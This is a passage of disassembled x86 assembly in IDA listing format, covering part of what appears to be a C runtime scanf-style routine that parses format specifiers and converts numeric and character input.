; ---------------------------------------------------------------------------


loc_420E94:				; CODE XREF: sub_420DB0+D3j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420EA3:				; CODE XREF: sub_420DB0+E2j
		test	eax, eax
		jz	short loc_420EB9
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EB9:				; CODE XREF: sub_420DB0+F5j
		cmp	ebx, 4Eh
		jg	short loc_420EFC
		jz	short loc_420F1E
		cmp	ebx, 2Ah
		jz	short loc_420EF7
		cmp	ebx, 46h
		jz	short loc_420F1E
		cmp	ebx, 49h
		jz	short loc_420ED9
		cmp	ebx, 4Ch
		jnz	short loc_420F0B
		inc	[ebp+var_D]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420ED9:				; CODE XREF: sub_420DB0+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_420F0B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_420F0B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EF7:				; CODE XREF: sub_420DB0+113j
		inc	[ebp+var_E]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420EFC:				; CODE XREF: sub_420DB0+10Cj
		cmp	ebx, 68h
		jz	short loc_420F18
		cmp	ebx, 6Ch
		jz	short loc_420F10
		cmp	ebx, 77h
		jz	short loc_420F13


loc_420F0B:				; CODE XREF: sub_420DB0+122j
					; sub_420DB0+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F10:				; CODE XREF: sub_420DB0+154j
		inc	[ebp+var_D]


loc_420F13:				; CODE XREF: sub_420DB0+159j
		inc	[ebp+var_5]
		jmp	short loc_420F1E
; ---------------------------------------------------------------------------


loc_420F18:				; CODE XREF: sub_420DB0+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_420F1E:				; CODE XREF: sub_420DB0+107j
					; sub_420DB0+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_420E77
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_420F43
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_420F43:				; CODE XREF: sub_420DB0+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_420F61
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_420F5D
		cmp	al, 43h
		jz	short loc_420F5D
		or	[ebp+var_5], 0FFh
		jmp	short loc_420F61
; ---------------------------------------------------------------------------


loc_420F5D:				; CODE XREF: sub_420DB0+1A1j
					; sub_420DB0+1A5j
		mov	[ebp+var_5], 1


loc_420F61:				; CODE XREF: sub_420DB0+19Bj
					; sub_420DB0+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_420F9A
		cmp	esi, 63h
		jz	short loc_420F8B
		cmp	esi, 7Bh
		jz	short loc_420F8B
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_42183D
		pop	ecx
		jmp	short loc_420F96
; ---------------------------------------------------------------------------


loc_420F8B:				; CODE XREF: sub_420DB0+1C5j
					; sub_420DB0+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C


loc_420F96:				; CODE XREF: sub_420DB0+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_420F9A:				; CODE XREF: sub_420DB0+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_420FAA
		cmp	[ebp+var_C], eax
		jz	loc_421786


loc_420FAA:				; CODE XREF: sub_420DB0+1EFj
		cmp	esi, 6Fh
		jg	loc_421211
		jz	loc_4214C3
		cmp	esi, 63h
		jz	loc_4211EE
		cmp	esi, 64h
		jz	loc_4214C3
		jle	loc_42123B
		cmp	esi, 67h
		jle	short loc_42100E
		cmp	esi, 69h
		jz	short loc_420FF6
		cmp	esi, 6Eh
		jnz	loc_42123B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_4216F1
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420DB0+229j
		push	64h
		pop	esi


loc_420FF9:				; CODE XREF: sub_420DB0+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_421283
		mov	[ebp+var_17], 1
		jmp	loc_421288
; ---------------------------------------------------------------------------


loc_42100E:				; CODE XREF: sub_420DB0+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42102A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42102F
; ---------------------------------------------------------------------------


loc_42102A:				; CODE XREF: sub_420DB0+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_421046


loc_42102F:				; CODE XREF: sub_420DB0+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_421049
; ---------------------------------------------------------------------------


loc_421046:				; CODE XREF: sub_420DB0+27Dj
		mov	edi, [ebp+arg_0]


loc_421049:				; CODE XREF: sub_420DB0+294j
		cmp	[ebp+var_20], 0
		jz	short loc_421058
		cmp	[ebp+var_C], 15Dh
		jle	short loc_42105F


loc_421058:				; CODE XREF: sub_420DB0+29Dj
		mov	[ebp+var_C], 15Dh


loc_42105F:				; CODE XREF: sub_420DB0+2A6j
					; sub_420DB0+2F2j
		cmp	dword_43D084, 1
		jle	short loc_421074
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42107F
; ---------------------------------------------------------------------------


loc_421074:				; CODE XREF: sub_420DB0+2B6j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42107F:				; CODE XREF: sub_420DB0+2C2j
		test	eax, eax
		jz	short loc_4210A4
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4210A4
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42105F
; ---------------------------------------------------------------------------


loc_4210A4:				; CODE XREF: sub_420DB0+2D1j
					; sub_420DB0+2DBj
		cmp	byte_43D088, bl
		jnz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		mov	al, byte_43D088
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_4210CD:				; CODE XREF: sub_420DB0+360j
		cmp	dword_43D084, 1
		jle	short loc_4210E2
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4210ED
; ---------------------------------------------------------------------------


loc_4210E2:				; CODE XREF: sub_420DB0+324j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4210ED:				; CODE XREF: sub_420DB0+330j
		test	eax, eax
		jz	short loc_421112
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_421112
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4210CD
; ---------------------------------------------------------------------------


loc_421112:				; CODE XREF: sub_420DB0+2FAj
					; sub_420DB0+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_4211AA
		cmp	ebx, 65h
		jz	short loc_42112A
		cmp	ebx, 45h
		jnz	loc_4211AA


loc_42112A:				; CODE XREF: sub_420DB0+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_421151
		mov	[esi], al
		inc	esi
		jmp	short loc_421156
; ---------------------------------------------------------------------------


loc_421151:				; CODE XREF: sub_420DB0+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_421174


loc_421156:				; CODE XREF: sub_420DB0+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_421165
		and	[ebp+var_C], eax
		jmp	short loc_421174
; ---------------------------------------------------------------------------


loc_421165:				; CODE XREF: sub_420DB0+3AEj
					; sub_420DB0+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421174:				; CODE XREF: sub_420DB0+3A4j
					; sub_420DB0+3B3j
		cmp	dword_43D084, 1
		jle	short loc_421189
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421194
; ---------------------------------------------------------------------------


loc_421189:				; CODE XREF: sub_420DB0+3CBj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421194:				; CODE XREF: sub_420DB0+3D7j
		test	eax, eax
		jz	short loc_4211AA
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_4211AA
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_421165
; ---------------------------------------------------------------------------


loc_4211AA:				; CODE XREF: sub_420DB0+366j
					; sub_420DB0+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43D428
		add	esp, 0Ch
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4211EE:				; CODE XREF: sub_420DB0+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_4211FD
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_4211FD:				; CODE XREF: sub_420DB0+441j
		cmp	[ebp+var_5], 0
		jle	short loc_421207
		mov	[ebp+var_16], 1


loc_421207:				; CODE XREF: sub_420DB0+451j
		mov	edi, offset dword_43D300
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421211:				; CODE XREF: sub_420DB0+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_4214BF
		sub	eax, 3
		jz	loc_42130D
		dec	eax
		dec	eax
		jz	loc_4214C3
		sub	eax, 3
		jz	loc_420FF9
		sub	eax, 3
		jz	short loc_42125F


loc_42123B:				; CODE XREF: sub_420DB0+21Bj
					; sub_420DB0+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_421786
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_42125F:				; CODE XREF: sub_420DB0+489j
		cmp	[ebp+var_5], 0
		jle	short loc_421269
		mov	[ebp+var_16], 1


loc_421269:				; CODE XREF: sub_420DB0+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_421320
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_42131C
; ---------------------------------------------------------------------------


loc_421283:				; CODE XREF: sub_420DB0+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_4212AA


loc_421288:				; CODE XREF: sub_420DB0+259j
		dec	[ebp+var_C]
		jnz	short loc_421299
		cmp	[ebp+var_20], 0
		jz	short loc_421299
		mov	[ebp+var_F], 1
		jmp	short loc_4212AA
; ---------------------------------------------------------------------------


loc_421299:				; CODE XREF: sub_420DB0+4DBj
					; sub_420DB0+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4212AA:				; CODE XREF: sub_420DB0+4D6j
					; sub_420DB0+4E7j
		cmp	ebx, 30h
		jnz	loc_4214F8
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_4212F8
		cmp	bl, 58h
		jz	short loc_4212F8
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_4212E2
		push	6Fh


loc_4212DC:				; CODE XREF: sub_420DB0+55Bj
		pop	esi
		jmp	loc_4214F8
; ---------------------------------------------------------------------------


loc_4212E2:				; CODE XREF: sub_420DB0+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_4214F5
; ---------------------------------------------------------------------------


loc_4212F8:				; CODE XREF: sub_420DB0+517j
					; sub_420DB0+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_4212DC
; ---------------------------------------------------------------------------


loc_42130D:				; CODE XREF: sub_420DB0+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_421317
		mov	[ebp+var_16], 1


loc_421317:				; CODE XREF: sub_420DB0+561j
		mov	edi, offset dword_43D2F8


loc_42131C:				; CODE XREF: sub_420DB0+45Cj
					; sub_420DB0+4CEj
		or	[ebp+var_18], 0FFh


loc_421320:				; CODE XREF: sub_420DB0+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_421344
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_421344
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421344:				; CODE XREF: sub_420DB0+584j
					; sub_420DB0+589j
		mov	dl, [ebp+var_35]


loc_421347:				; CODE XREF: sub_420DB0+592j
					; sub_420DB0+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_4213AC
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_421393
		test	dl, dl
		jz	short loc_421393
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_421393
		inc	edi
		cmp	dl, cl
		jnb	short loc_421366
		mov	al, cl
		jmp	short loc_42136A
; ---------------------------------------------------------------------------


loc_421366:				; CODE XREF: sub_420DB0+5B0j
		mov	al, dl
		mov	dl, cl


loc_42136A:				; CODE XREF: sub_420DB0+5B4j
		cmp	dl, al
		ja	short loc_42138F
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_421377:				; CODE XREF: sub_420DB0+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_421377


loc_42138F:				; CODE XREF: sub_420DB0+5BCj
		xor	dl, dl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_421393:				; CODE XREF: sub_420DB0+5A0j
					; sub_420DB0+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_421347
; ---------------------------------------------------------------------------


loc_4213AC:				; CODE XREF: sub_420DB0+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_4217B6
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4213BE
		mov	[ebp+arg_4], edi


loc_4213BE:				; CODE XREF: sub_420DB0+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4213D5:				; CODE XREF: sub_420DB0+6BCj
					; sub_420DB0+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_4213E9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_421485


loc_4213E9:				; CODE XREF: sub_420DB0+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_421479
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_421479
		cmp	[ebp+var_E], 0
		jnz	short loc_421471
		cmp	[ebp+var_16], 0
		jz	short loc_421466
		mov	ecx, off_43CE78
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421445
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		mov	[ebp+var_37], al


loc_421445:				; CODE XREF: sub_420DB0+686j
		push	dword_43D084
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_4246CB
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_421469
; ---------------------------------------------------------------------------


loc_421466:				; CODE XREF: sub_420DB0+673j
		mov	[esi], al
		inc	esi


loc_421469:				; CODE XREF: sub_420DB0+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421471:				; CODE XREF: sub_420DB0+66Dj
		inc	[ebp+var_30]
		jmp	loc_4213D5
; ---------------------------------------------------------------------------


loc_421479:				; CODE XREF: sub_420DB0+649j
					; sub_420DB0+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		pop	ecx
		pop	ecx


loc_421485:				; CODE XREF: sub_420DB0+633j
		cmp	[ebp+var_30], esi
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	loc_421717
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_421717
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_4214B7
		and	word ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214B7:				; CODE XREF: sub_420DB0+6FCj
		and	byte ptr [eax],	0
		jmp	loc_421717
; ---------------------------------------------------------------------------


loc_4214BF:				; CODE XREF: sub_420DB0+466j
		mov	[ebp+var_D], 1


loc_4214C3:				; CODE XREF: sub_420DB0+203j
					; sub_420DB0+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_4214D1
		mov	[ebp+var_17], 1
		jmp	short loc_4214D6
; ---------------------------------------------------------------------------


loc_4214D1:				; CODE XREF: sub_420DB0+719j
		cmp	ebx, 2Bh
		jnz	short loc_4214F8


loc_4214D6:				; CODE XREF: sub_420DB0+71Fj
		dec	[ebp+var_C]
		jnz	short loc_4214E7
		cmp	[ebp+var_20], 0
		jz	short loc_4214E7
		mov	[ebp+var_F], 1
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214E7:				; CODE XREF: sub_420DB0+729j
					; sub_420DB0+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		pop	ecx
		mov	ebx, eax


loc_4214F5:				; CODE XREF: sub_420DB0+543j
		mov	[ebp+var_14], ebx


loc_4214F8:				; CODE XREF: sub_420DB0+4FDj
					; sub_420DB0+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_421611
		cmp	[ebp+var_F], 0
		jnz	loc_4215EF


loc_42150C:				; CODE XREF: sub_420DB0+82Cj
		cmp	esi, 78h
		jnz	short loc_421560
		cmp	dword_43D084, 1
		jle	short loc_421529
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421536
; ---------------------------------------------------------------------------


loc_421529:				; CODE XREF: sub_420DB0+768j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421536:				; CODE XREF: sub_420DB0+777j
		test	eax, eax
		jz	loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_4247A0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4215B3
; ---------------------------------------------------------------------------


loc_421560:				; CODE XREF: sub_420DB0+75Fj
		cmp	dword_43D084, 1
		jle	short loc_421575
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421580
; ---------------------------------------------------------------------------


loc_421575:				; CODE XREF: sub_420DB0+7B7j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421580:				; CODE XREF: sub_420DB0+7C3j
		test	eax, eax
		jz	short loc_4215E1
		cmp	esi, 6Fh
		jnz	short loc_42159E
		cmp	ebx, 38h
		jge	short loc_4215E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_4247A0
		jmp	short loc_4215AD
; ---------------------------------------------------------------------------


loc_42159E:				; CODE XREF: sub_420DB0+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41DB20


loc_4215AD:				; CODE XREF: sub_420DB0+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_4215B3:				; CODE XREF: sub_420DB0+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_4215CB
		dec	[ebp+var_C]
		jz	short loc_4215EF


loc_4215CB:				; CODE XREF: sub_420DB0+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42150C
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_420DB0+788j
					; sub_420DB0+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4215EF:				; CODE XREF: sub_420DB0+756j
					; sub_420DB0+819j
		cmp	[ebp+var_17], 0
		jz	loc_4216D5
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_4216D5
; ---------------------------------------------------------------------------


loc_421611:				; CODE XREF: sub_420DB0+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_4216CD


loc_42161B:				; CODE XREF: sub_420DB0+90Aj
		cmp	esi, 78h
		jz	short loc_42165F
		cmp	esi, 70h
		jz	short loc_42165F
		cmp	dword_43D084, 1
		jle	short loc_42163A
		push	4
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421645
; ---------------------------------------------------------------------------


loc_42163A:				; CODE XREF: sub_420DB0+87Cj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421645:				; CODE XREF: sub_420DB0+888j
		test	eax, eax
		jz	short loc_4216BF
		cmp	esi, 6Fh
		jnz	short loc_421658
		cmp	ebx, 38h
		jge	short loc_4216BF
		shl	edi, 3
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_421658:				; CODE XREF: sub_420DB0+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_421697
; ---------------------------------------------------------------------------


loc_42165F:				; CODE XREF: sub_420DB0+86Ej
					; sub_420DB0+873j
		cmp	dword_43D084, 1
		jle	short loc_421677
		push	80h
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_421684
; ---------------------------------------------------------------------------


loc_421677:				; CODE XREF: sub_420DB0+8B6j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421684:				; CODE XREF: sub_420DB0+8C5j
		test	eax, eax
		jz	short loc_4216BF
		push	ebx
		shl	edi, 4
		call	sub_4217D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421697:				; CODE XREF: sub_420DB0+8A6j
					; sub_420DB0+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_4216A9
		dec	[ebp+var_C]
		jz	short loc_4216CD


loc_4216A9:				; CODE XREF: sub_420DB0+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42161B
; ---------------------------------------------------------------------------


loc_4216BF:				; CODE XREF: sub_420DB0+897j
					; sub_420DB0+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421826
		pop	ecx
		pop	ecx


loc_4216CD:				; CODE XREF: sub_420DB0+865j
					; sub_420DB0+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_4216D5
		neg	edi


loc_4216D5:				; CODE XREF: sub_420DB0+843j
					; sub_420DB0+85Cj ...
		cmp	esi, 46h
		jnz	short loc_4216DE
		and	[ebp+var_1C], 0


loc_4216DE:				; CODE XREF: sub_420DB0+928j
		cmp	[ebp+var_1C], 0
		jz	loc_4217B6
		cmp	[ebp+var_E], 0
		jnz	short loc_421717
		inc	[ebp+var_34]


loc_4216F1:				; CODE XREF: sub_420DB0+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_421707
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_420DB0+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_421714
		mov	[eax], edi
		jmp	short loc_421717
; ---------------------------------------------------------------------------


loc_421714:				; CODE XREF: sub_420DB0+95Ej
		mov	[eax], di


loc_421717:				; CODE XREF: sub_420DB0+241j
					; sub_420DB0+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_421764
; ---------------------------------------------------------------------------


loc_421722:				; CODE XREF: sub_420DB0+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_421791
		mov	ecx, off_43CE78
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421764
		inc	[ebp+var_4]
		push	edi
		call	sub_42180C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_42179F
		dec	[ebp+var_4]


loc_421764:				; CODE XREF: sub_420DB0+970j
					; sub_420DB0+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42177A
		cmp	byte ptr [esi],	25h
		jnz	short loc_4217BC
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_4217BC
		mov	esi, eax


loc_42177A:				; CODE XREF: sub_420DB0+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_420DDA
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_421786:				; CODE XREF: sub_420DB0+1F4j
					; sub_420DB0+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_421796
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: sub_420DB0+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_421796:				; CODE XREF: sub_420DB0+9DFj
		call	sub_421826
		pop	ecx
		pop	ecx
		jmp	short loc_4217B6
; ---------------------------------------------------------------------------


loc_42179F:				; CODE XREF: sub_420DB0+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421826
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421826
		add	esp, 10h


loc_4217B6:				; CODE XREF: sub_420DB0+1Fj
					; sub_420DB0+40Aj ...
